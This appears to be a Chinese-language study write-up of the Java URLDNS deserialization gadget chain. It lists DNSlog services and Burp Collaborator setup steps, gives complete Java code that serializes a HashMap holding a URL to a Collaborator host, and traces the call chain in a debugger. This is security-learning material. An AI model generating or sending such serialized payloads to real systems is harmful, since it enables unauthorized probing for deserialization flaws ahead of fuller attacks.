DNSLOG平台

在线平台

http://dnslog.cn

http://ceye.io

burp-dnslog

使用方法:打开burpsuite,选择project options选择misc分类

🥂URLDNS利用链分析 - 图1

随后选择顶部工具栏中的Burp,选择Burp Collaborator client

🥂URLDNS利用链分析 - 图2

将dnslog的url地址复制出来使用。

应用

🥂URLDNS利用链分析 - 图3

无dnslog

https://github.com/r00tSe7en/JNDIMonitor

该项目可脱离dnslog平台监听LDAP请求,下载项目源代码在本地进行编译。

🥂URLDNS利用链分析 - 图4

URLDNS分析

  1. package com.ft.urldns;
  2. import java.io.*;
  3. import java.lang.reflect.Field;
  4. import java.net.URL;
  5. import java.util.HashMap;
  6. public class urldns {
  7. public static void main(String[] args) throws Exception {
  8. HashMap hashMap = new HashMap();
  9. URL url = new URL("http://g9qo5xr8nq9ypo3ovvvh1hj9q0wqkf.burpcollaborator.net");
  10. Class c = url.getClass();
  11. Field hashcodefile = c.getDeclaredField("hashCode");
  12. hashcodefile.setAccessible(true);
  13. hashcodefile.set(url,1234);
  14. hashMap.put(url, 1);
  15. hashcodefile.set(url,-1);
  16. serialize(hashMap);
  17. // unserialize("urldns.bin");
  18. }
  19. public static void serialize(Object obj) throws IOException {
  20. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
  21. oos.writeObject(obj);
  22. }
  23. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  24. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  25. Object obj = ois.readObject();
  26. return obj;
  27. }
  28. }

打上断点进行调试,这里的dnslog平台使用的burpsuite自带的,比较方便。

利用链展示

  1. HashMap.readbject()
  2. HashMap.putVal()
  3. HashMap.hash()
  4. URL.hashCode()

先在HashMap#readObject下的putVal处下一个断点,走到这里的时候可以看到传入的url为key值。

🥂URLDNS利用链分析 - 图5

进入到URL#hashCode()中,不满足if的条件(hashCode=-1),所以进入了java.net.URLStreamHandler#hashCode()中

🥂URLDNS利用链分析 - 图6

随后进入调用getHostAddress(),传入的参数值u是我的dnslog地址

🥂URLDNS利用链分析 - 图7

最后执行了一个查询操作,将一个字符串类型的主机名 (host) 转换为对应的 IP 地址。

🥂URLDNS利用链分析 - 图8

链子很短,流程也比较简单,这个应该是在看CC链之前学的基础,只是之前在看的时候没有将其记录下来,于是又简单的记了一下。